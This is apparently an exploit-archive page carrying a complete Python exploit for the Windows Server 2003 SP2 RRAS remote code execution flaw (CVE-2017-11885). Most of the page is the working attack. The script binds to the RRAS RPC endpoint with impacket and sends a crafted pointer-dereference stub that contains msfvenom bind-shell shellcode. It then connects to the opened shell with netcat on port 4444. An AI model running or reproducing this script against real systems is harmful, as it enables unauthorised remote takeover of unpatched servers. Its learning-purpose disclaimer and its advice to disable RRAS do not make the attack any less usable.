Twenty Year Anniversary

Microsoft Windows 2003 SP2 RRAS SMB Remote Code Execution

Microsoft Windows 2003 SP2 RRAS SMB Remote Code Execution
Posted May 13, 2018
Authored by vportal

Microsoft Windows 2003 SP2 RRAS SMB remote code execution exploit.

tags | exploit, remote, code execution
systems | windows
advisories | CVE-2017-11885
MD5 | 1604bc29de7262c3ef296fff4c6867b2

Microsoft Windows 2003 SP2 RRAS SMB Remote Code Execution

Change Mirror Download
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#Tested in Windows Server 2003 SP2 (ES) - Only works when RRAS service is enabled.

#The exploited vulnerability is an arbitraty pointer deference affecting the dwVarID field of the MIB_OPAQUE_QUERY structure.
#dwVarID (sent by the client) is used as a pointer to an array of functions. The application doest not check if the pointer is #pointing out of the bounds of the array so is possible to jump to specific portions of memory achieving remote code execution.
#Microsoft has not released a patch for Windows Server 2003 so consider to disable the RRAS service if you are still using
#Windows Server 2003.

#Exploit created by: VActor Portal
#For learning purpose only

import struct
import sys
import time
import os

from threading import Thread

from impacket import smb
from impacket import uuid
from impacket import dcerpc
from impacket.dcerpc.v5 import transport

target = sys.argv[1]

print '[-]Initiating connection'
trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % target)
trans.connect()

print '[-]connected to ncacn_np:%s[\\pipe\\browser]' % target
dce = trans.DCERPC_class(trans)

#RRAS DCE-RPC endpoint
dce.bind(uuid.uuidtup_to_bin(('8f09f000-b7ed-11ce-bbd2-00001a181cad', '0.0')))

#msfvenom -a x86 --platform windows -p windows/shell_bind_tcp lport=4444 -b "\x00" -f python
buf = ""
buf += "\xb8\x3c\xb1\x1e\x1d\xd9\xc8\xd9\x74\x24\xf4\x5a\x33"
buf += "\xc9\xb1\x53\x83\xc2\x04\x31\x42\x0e\x03\x7e\xbf\xfc"
buf += "\xe8\x82\x57\x82\x13\x7a\xa8\xe3\x9a\x9f\x99\x23\xf8"
buf += "\xd4\x8a\x93\x8a\xb8\x26\x5f\xde\x28\xbc\x2d\xf7\x5f"
buf += "\x75\x9b\x21\x6e\x86\xb0\x12\xf1\x04\xcb\x46\xd1\x35"
buf += "\x04\x9b\x10\x71\x79\x56\x40\x2a\xf5\xc5\x74\x5f\x43"
buf += "\xd6\xff\x13\x45\x5e\x1c\xe3\x64\x4f\xb3\x7f\x3f\x4f"
buf += "\x32\x53\x4b\xc6\x2c\xb0\x76\x90\xc7\x02\x0c\x23\x01"
buf += "\x5b\xed\x88\x6c\x53\x1c\xd0\xa9\x54\xff\xa7\xc3\xa6"
buf += "\x82\xbf\x10\xd4\x58\x35\x82\x7e\x2a\xed\x6e\x7e\xff"
buf += "\x68\xe5\x8c\xb4\xff\xa1\x90\x4b\xd3\xda\xad\xc0\xd2"
buf += "\x0c\x24\x92\xf0\x88\x6c\x40\x98\x89\xc8\x27\xa5\xc9"
buf += "\xb2\x98\x03\x82\x5f\xcc\x39\xc9\x37\x21\x70\xf1\xc7"
buf += "\x2d\x03\x82\xf5\xf2\xbf\x0c\xb6\x7b\x66\xcb\xb9\x51"
buf += "\xde\x43\x44\x5a\x1f\x4a\x83\x0e\x4f\xe4\x22\x2f\x04"
buf += "\xf4\xcb\xfa\xb1\xfc\x6a\x55\xa4\x01\xcc\x05\x68\xa9"
buf += "\xa5\x4f\x67\x96\xd6\x6f\xad\xbf\x7f\x92\x4e\xae\x23"
buf += "\x1b\xa8\xba\xcb\x4d\x62\x52\x2e\xaa\xbb\xc5\x51\x98"
buf += "\x93\x61\x19\xca\x24\x8e\x9a\xd8\x02\x18\x11\x0f\x97"
buf += "\x39\x26\x1a\xbf\x2e\xb1\xd0\x2e\x1d\x23\xe4\x7a\xf5"
buf += "\xc0\x77\xe1\x05\x8e\x6b\xbe\x52\xc7\x5a\xb7\x36\xf5"
buf += "\xc5\x61\x24\x04\x93\x4a\xec\xd3\x60\x54\xed\x96\xdd"
buf += "\x72\xfd\x6e\xdd\x3e\xa9\x3e\x88\xe8\x07\xf9\x62\x5b"
buf += "\xf1\x53\xd8\x35\x95\x22\x12\x86\xe3\x2a\x7f\x70\x0b"
buf += "\x9a\xd6\xc5\x34\x13\xbf\xc1\x4d\x49\x5f\x2d\x84\xc9"
buf += "\x6f\x64\x84\x78\xf8\x21\x5d\x39\x65\xd2\x88\x7e\x90"
buf += "\x51\x38\xff\x67\x49\x49\xfa\x2c\xcd\xa2\x76\x3c\xb8"
buf += "\xc4\x25\x3d\xe9"

#NDR format
stub = "\x21\x00\x00\x00" #dwPid = PID_IP (IPv4)
stub += "\x10\x27\x00\x00" #dwRoutingPID
stub += "\xa4\x86\x01\x00" #dwMibInEntrySize
stub += "\x41"*4 #_MIB_OPAQUE_QUERY pointer
stub += "\x04\x00\x00\x00" #dwVarID (_MIB_OPAQUE_QUERY)
stub += "\x41"*4 #rgdwVarIndex (_MIB_OPAQUE_QUERY)
stub += "\xa4\x86\x01\x00" #dwMibOutEntrySize
stub += "\xad\x0b\x2d\x06" #dwVarID ECX (CALL off_64389048[ECX*4]) -> p2p JMP EAX #dwVarID (_MIB_OPAQUE_QUERY)
stub += "\xd0\xba\x61\x41\x41" + "\x90"*5 + buf + "\x41"*(100000-10-len(buf)) #rgdwVarIndex (_MIB_OPAQUE_QUERY)
stub += "\x04\x00\x00\x00" #dwId (_MIB_OPAQUE_INFO)
stub += "\x41"*4 #ullAlign (_MIB_OPAQUE_INFO)


dce.call(0x1e, stub) #0x1d MIBEntryGetFirst (other RPC calls are also affected)
print "[-]Exploit sent to target successfully..."

print "Waiting for shell..."
time.sleep(5)
os.system("nc " + target + " 4444")


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

December 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    11 Files
  • 2
    Dec 2nd
    1 Files
  • 3
    Dec 3rd
    18 Files
  • 4
    Dec 4th
    40 Files
  • 5
    Dec 5th
    16 Files
  • 6
    Dec 6th
    50 Files
  • 7
    Dec 7th
    12 Files
  • 8
    Dec 8th
    1 Files
  • 9
    Dec 9th
    1 Files
  • 10
    Dec 10th
    15 Files
  • 11
    Dec 11th
    30 Files
  • 12
    Dec 12th
    25 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close